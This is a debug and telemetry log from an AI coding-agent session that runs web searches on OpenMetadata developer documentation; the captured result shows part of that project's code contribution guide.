auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:01.074Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:01.075Z] [INFO] \n[2026-07-12T04:03:01.079Z] [INFO] 2026-07-12T04:03:01.076015Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:03:01.079Z] [INFO] \n[2026-07-12T04:03:01.178Z] [INFO] 2026-07-12T04:03:01.176372Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:01.178Z] [INFO] 2026-07-12T04:03:01.176488Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:01 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"abc3d8b0-6465-45b7-8855-e7194a6a932a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=WEbODHRgm8CkBYQcvXJZlgNWLNF0WoN1GPpInVnng3gzAQoOwQ9uFiQHtAOpQ0PxBS5h3dOdSD5R7qM8%2FEUsIk18BSvBSUe61Dwww5OyhpICDEhqj%2BqAltTyY92O\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27db291e1e45-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:01.178Z] [INFO] \n[2026-07-12T04:03:01.242Z] [INFO] 2026-07-12T04:03:01.236572Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:01.242Z] [INFO] \n[2026-07-12T04:03:01.285Z] [INFO] 2026-07-12T04:03:01.276098Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:01.285Z] [INFO] \n[2026-07-12T04:03:01.314Z] [INFO] 2026-07-12T04:03:01.313231Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:01.314Z] [INFO] \n[2026-07-12T04:03:01.371Z] [INFO] 2026-07-12T04:03:01.370612Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:01.371Z] [INFO] \n[2026-07-12T04:03:01.586Z] [INFO] 2026-07-12T04:03:01.576983Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:01.586Z] [INFO] 2026-07-12T04:03:01.577085Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:01 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"6a052061-d7f6-49bf-bc13-dc347bb48961\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=%2BEXTIiDIy%2F1gpcVrSzX4Y5jIbgn%2FEt%2BW%2BBv1SBtOhH4sTWjIwayS%2FdvT4snnSdHEfLlxfLA431zAVI3QUUjy6amYGenxZBT%2BcSLrhsTOA2cZp9mV5HR7NHC0J6lp\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27dddf01dc56-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:01.586Z] [INFO] \n[2026-07-12T04:03:01.977Z] [INFO] 2026-07-12T04:03:01.966149Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:01.977Z] [INFO] \n[2026-07-12T04:03:02.012Z] [INFO] 2026-07-12T04:03:02.011881Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:02.012Z] [INFO] \n[2026-07-12T04:03:02.016Z] [INFO] 2026-07-12T04:03:02.013624Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:02.016Z] [INFO] \n[2026-07-12T04:03:02.026Z] [INFO] 2026-07-12T04:03:02.021553Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:02.026Z] [INFO] \n[2026-07-12T04:03:02.285Z] [INFO] 2026-07-12T04:03:02.283412Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:02.285Z] [INFO] 2026-07-12T04:03:02.283552Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:02 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"f27b3e97-b267-4431-b680-fc5937583656\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=JU7IDjWWLGgTMnOzu5KxfmuMy5NoBSBr7lh8pxBIbFQ3Cm7yJBWGTY69SMxfwYCoRymdNKvsXZFsF6nI1rep7QozWc%2F1kxSWwAYsLOrWVZ%2B%2Bp65Cs0tPwpbVPI3h\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27e1cd10e854-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:02.285Z] [INFO] \n[2026-07-12T04:03:04.442Z] [INFO] 2026-07-12T04:03:04.441828Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311f86da8819191293cf343d95bf0\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxH4TLpsQLh_qBhz-WvSj51NZ9XevHl0FN3mQwe8kZFy78Qr_P4S2XQB2N45bEuTT2fZYrLatOEdN2lmjAtFj0NleSQJppEL1edt6_oJYSR5QRi8uVAMobpfOVC2_FVNOySDbZa6bGcfm7uv9K8m4Rzl_l1OzFPvTkHSl7_-e7Im3y-PLkuFRwXEVc5ifKm09p8-go0i3a5JjzNEf69KXqLej9j8PpA7C_zQ9aIuVk3tL2NENaCJJ2NE46s0O5wKqCFtBYkyHmRWL8AIXPmTl6vgsgX0kw0piHfP57bfut8fD_Ny3a-JkocCpXl8viyyS6QuAPXoguu9f6AG-W7jt5UYYQOJ0PpdA5EniXO-ZEKnDHZVNMFrcZCjzX72AFMJqCGcm8-osvfIY_WWYZxNiFaO97RZ1QYxwNpKsWBLFy3CglXZn8MUtbOmrp4zLO60tqtMOu7ClMEYEqLGfxeTJ-ts3dT4jHmGCtqb4TPEOTrTh8jFAhwgmHxKIeHr3rd8nt2DjDhTNWLvgHMCYmme8c0sKQY6QagkGFfQy7LwKPOkylNm66GH30D7y4jvk8P2OfzP596Sr82ouJap7Ldo0XDY8l8W-VWEVqGT0oPal581b7aS1IpA3an8GEYl4RbtLbqdnHRlB8tMVWlVtIta_teaQE0-H4qSVyUo96e3RbJ7wlXVdhGxIZqXq3C9wPMaov9tsalGo9LXolQMsaUxhvLqhJsnK8At5-oTdFji8wRg_3hU6InhxvA8DfxZfbmj0JnVuK8nLVCIczXjgi-JAdkS3VWAeJ0Le4Pd50LwnaQGylmWxHV-HaJc5DguXXc20B8-Cz0uly7C4h0VdOTt8_GtFnh9gfDTHc-rSJ7IRRikh_XnVkQAgQvPhL2jE-sj46KUTwubfWiO5h0tGMHOvbQvGw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:04.442Z] [INFO] \n[2026-07-12T04:03:04.765Z] [INFO] 2026-07-12T04:03:04.764485Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311f86da8819191293cf343d95bf0\"), summary: [SummaryText { text: \"**Planning documentation structure and data collection**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxH4sb-0tTYx-7qv6GPC4TEm4PhrMoUXBc-wQxzYxtkTO8SbALzUtkucNxLVz5HHv9jQe3JP4i3AJv-Inygt1TPkz1aWFHKQ7fnhALcZ9IYz0G5imjC68lT6S3JLjRtSSAyE_dJN5ZsTPGKVCxV3i8wRLfMjJCPgY-LA_GSs6MXwXFZPCxJHQm4ZQw8Nv_488u70qhTn6m3tQyszYOF2lCmVdqbDyss-w5xz4sq7t5kxf94DTzOlP5BmgFiLhXqE5Lo1sJmi4oqLxBAiPqL_QZquNo3A0FeIQM0LiyyFcFPPablkHWYdz4ivEw3JTA6QD9uI-l0806d5991TkwUhLw56fjSkDGpRNKaIu9Qwux0uM9JWb6AtDTf6-zvbdlUgNtBL5nBxhaHNH3YG5EQ57Q1EkGIqEKYgUd86nXsXxPe6qQ9qKExUjyzVFyEI-uDZtWdKkdO6RiykqYIdYOjLiBOKaZ_D2f5gDUXM7hCrNdThH10dolsUpZfQ7sOb829URl8QEilkRtaChmhUXmKMpZzjPbxchVkvhbeS-CsmJ8gJuXV6lrVT0-s-f0KX0O75-FPRktRF8XsMFVAJjvuy_IjRffSuVPQYtLoMl7DBhiYdyAcpMjuIUgHwrwUJVLf1rIO2WvMOXOdmcaHlS_qsICr8zqIns1KOwIIHQ9Ko-j9-vqNaoXvLtdEO8Tq5h6GZ-FB-S8MUAKOEfaEL6K1H27mTFWj1jW1tBLYojBhfJRn7MQRUU1TqK7DlBNrrwFrArwyDFJwJTvK9npZ_4oxPK6cUS5pCP7FltozSSdN4ynb_biFX1dyNMzCfF6YPxirMtG72Phg5-9VCPFeZGOvQne_uXVa9zVKGETYCKtrdeKF_PERaaEnS0stQDp29nT4r7j_L4Pt3Qsd6RxHL5gVyHX8x6z_QKuO-cyXuaTbrh3tJPrE6gB-F88KkfiH0QmLU489yopeXVrFziG9WFFrdS1ADLmf0wV6T1vkT2F1OF57lJ1pryoEh8fNdzOQmp-IMkJdq486O5ZC14xf9E9dsdfjkJ2eZ04riSE8lrnkfW1m5wQnbLqrriNanJ-2tiLbypE32IU75fAdXNhDOknkqRnEzZzRMBu_t5aswJG0Y6SD8r0U74XxJSynbiXR5S1tY6u8jstpYfmQQ6R5BM9fsBWGpeFKM-5-VdDD8Lac3Zy8bWEumM2Q_MK4TuIC6QcHQG2FQofdG_Kqbn2R5k15x3P0e2VKekHswoJEhkNMTA_8cMlWKWNUNvnTPzBfRoausGNsjf96XUJZZEvJtbNqLNmayY7lwqaiHbxGJazHBmboPf-m8Nsm1wBF6mMwdVHxnOlZYLNrVLey_6dUAdJuWVzoxyU0soxpHMQGHZvuedbTxDtRfiiy2DyyUR4JJ3fJK5DNVHMZgMtByX00vTOi4U8L36R-gMJ0X9GlF7nELVxZQqIHj2Xs5bJBIV9rwyjuZSxYj\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:04.765Z] [INFO] \n[2026-07-12T04:03:04.790Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_24\",\"type\":\"reasoning\",\"text\":\"**Planning documentation structure and data collection**\"}}\n[2026-07-12T04:03:04.790Z] [INFO] \n[2026-07-12T04:03:04.796Z] [INFO] 2026-07-12T04:03:04.773525Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311f8bfb0819196cbcef87d0404e4\"), status: Some(\"in_progress\"), call_id: \"call_Zv4eFOYqwWfWrNbol0wvgym6\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:04.796Z] [INFO] \n[2026-07-12T04:03:07.598Z] [INFO] 2026-07-12T04:03:07.597367Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r = await tools.web__run({search_query:[\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\"},\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\"},\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\"},\n[2026-07-12T04:03:07.598Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"}\n[2026-07-12T04:03:07.598Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:03:07.598Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:03:07.598Z] [INFO] \n[2026-07-12T04:03:07.613Z] [INFO] 2026-07-12T04:03:07.611530Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311f521f48191ae1e702e306ee405\"\n[2026-07-12T04:03:07.613Z] [INFO] 2026-07-12T04:03:07.611597Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=42123 output_token_count=212 cached_token_count=31488 reasoning_token_count=74 tool_token_count=42335 ttft_ms=3370 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:03:07.611Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:07.613Z] [INFO] 2026-07-12T04:03:07.611631Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=42123 output_token_count=212 cached_token_count=31488 reasoning_token_count=74 tool_token_count=42335 ttft_ms=3370 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:03:07.611Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:07.613Z] [INFO] \n[2026-07-12T04:03:07.706Z] [INFO] 2026-07-12T04:03:07.704773Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:07.706Z] [INFO] \n[2026-07-12T04:03:07.722Z] [INFO] 2026-07-12T04:03:07.722239Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:07.722Z] [INFO] \n[2026-07-12T04:03:07.724Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_25\",\"type\":\"web_search\",\"id\":\"exec-e3175713-07a2-4863-93da-1718638b5014\",\"query\":\"\",\"action\":{\"type\":\"other\"}}}\n[2026-07-12T04:03:07.724Z] [INFO] \n[2026-07-12T04:03:07.731Z] [INFO] 2026-07-12T04:03:07.727458Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:07.731Z] [INFO] \n[2026-07-12T04:03:07.736Z] [INFO] 2026-07-12T04:03:07.736188Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:07.736Z] [INFO] \n[2026-07-12T04:03:08.969Z] [INFO] 2026-07-12T04:03:08.968806Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/alpha/search status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:08 GMT\", \"content-type\": \"application/json\", \"content-length\": \"95530\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"6b309187-0a5a-4aed-afbf-a4ec23987e96\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=Gc%2Fhw2X%2Bv%2Fu3iVXaNDHJQ9QZn0qv3mB785vDdatpkxNjnznHX2i%2BS60LwJRAL34jLcRS6ln7Um8AHlHEVd32G7%2BxPgm3%2FrLrvMgTfvWG%2BUM107Kno%2Bk0oHKhP9Hj\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d28059ff1c46a-CDG\"} version=HTTP/1.1\n[2026-07-12T04:03:08.969Z] [INFO] \n[2026-07-12T04:03:08.983Z] [INFO] 2026-07-12T04:03:08.982703Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:08.983Z] [INFO] \n[2026-07-12T04:03:08.998Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_25\",\"type\":\"web_search\",\"id\":\"exec-e3175713-07a2-4863-93da-1718638b5014\",\"query\":\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing ...\",\"action\":{\"type\":\"search\",\"queries\":[\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\",\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\",\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\",\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"]}}}\n[2026-07-12T04:03:08.998Z] [INFO] \n[2026-07-12T04:03:09.004Z] [INFO] 2026-07-12T04:03:08.996707Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-e3175713-07a2-4863-93da-1718638b5014 arguments={\"search_query\":[{\"q\":\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\"},{\"q\":\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\"},{\"q\":\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\"},{\"q\":\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"}],\"response_length\":\"long\"} duration_ms=1329 success=true output=[standalone web search output] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:08.996Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.004Z] [INFO] 2026-07-12T04:03:08.996743Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-e3175713-07a2-4863-93da-1718638b5014 duration_ms=1329 success=true arguments_length=518 output_length=30 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:08.996Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.004Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] 2026-07-12T04:03:09.033060Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Zv4eFOYqwWfWrNbol0wvgym6 arguments=const r = await tools.web__run({search_query:[\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x developers contribute codebase deep dives OpenMetadata entity registry events versioning search indexing\"},\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata data quality observability alerts tests profiler architecture\"},\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:docs.open-metadata.org/v1.12.x OpenMetadata roles policies glossary classification domains data products\"},\n[2026-07-12T04:03:09.035Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata \\\"openmetadata-spec\\\" \\\"json schema\\\"\"}\n[2026-07-12T04:03:09.035Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:03:09.035Z] [INFO]  duration_ms=1405 success=true output=Script completed\n[2026-07-12T04:03:09.035Z] [INFO] Wall time 1.4 seconds\n[2026-07-12T04:03:09.035Z] [INFO] Output:\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] How to Contribute Code | Open Source Contribution Guide - OpenMetadata Documentation (https://docs.open-metadata.org/v1.12.x/developers/contribute)\n[2026-07-12T04:03:09.035Z] [INFO] \ue200cite\ue202turn1search0\ue201 [wordlim: 200] Crawled: 2 months ago; # How to Contribute Code | Open Source Contribution Guide ... > Fetch the complete documentation index at: https://docs.open-metadata.org/llms.txt ... > Use this file to discover all available pages before exploring further. ... Set a new remote repository that points to the OpenMetadata repository to pull changes from the open-source OpenMetadata codebase into your clone ...     git remote -v\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] # How to Contribute Code | Open Source Contribution Guide\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Understand contribution guidelines for participating in the platform\u2019s development and submitting changes.\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] > ## Documentation Index\n[2026-07-12T04:03:09.035Z] [INFO] > \n[2026-07-12T04:03:09.035Z] [INFO] > Fetch the complete documentation index at: https://docs.open-metadata.org/llms.txt\n[2026-07-12T04:03:09.035Z] [INFO] > \n[2026-07-12T04:03:09.035Z] [INFO] > Use this file to discover all available pages before exploring further.\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] How to Contribute\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Welcome to OpenMetadata. Our goal is to build an Open standard for Metadata. We genuinely believe this mission can only be achieved through building a great community. We \u2764\ufe0f all contributions, big and small!\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] ## \n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] \u200b\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] GitHub issues\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Look for issues under GitHub/issues tab. If you have a feature request or found a bug please file an issue. This will help us track and will help the community overall as well. Image: GitHub issues\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] ## \n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] \u200b\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Fork GitHub project\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] OpenMetadata GitHub repository can be accessed here https://github.com/open-metadata/OpenMetadata. Image: Fork GitHub project Create a local clone of your fork\n[2026-07-12T04:03:09.035Z] [INFO]     \n[2026-07-12T04:03:09.035Z] [INFO]     `git clone https://github.com//OpenMetadata.git\n[2026-07-12T04:03:09.035Z] [INFO]     `\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Set a new remote repository that points to the OpenMetadata repository to pull changes from the open-source OpenMetadata codebase into your clone\n[2026-07-12T04:03:09.035Z] [INFO]     \n[2026-07-12T04:03:09.035Z] [INFO]     `cd OpenMetadata/\n[2026-07-12T04:03:09.035Z] [INFO]     git remote add upstream https://github.com/open-metadata/OpenMetadata.git\n[2026-07-12T04:03:09.035Z] [INFO]     git remote -v\n[2026-07-12T04:03:09.035Z] [INFO]     `\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.035Z] [INFO] Create a branch in your fork\n[2026-07-12T04:03:09.035Z] [INFO]    \n[2026-07-12T04:03:09.035Z] [INFO] [... telemetry preview truncated ...] 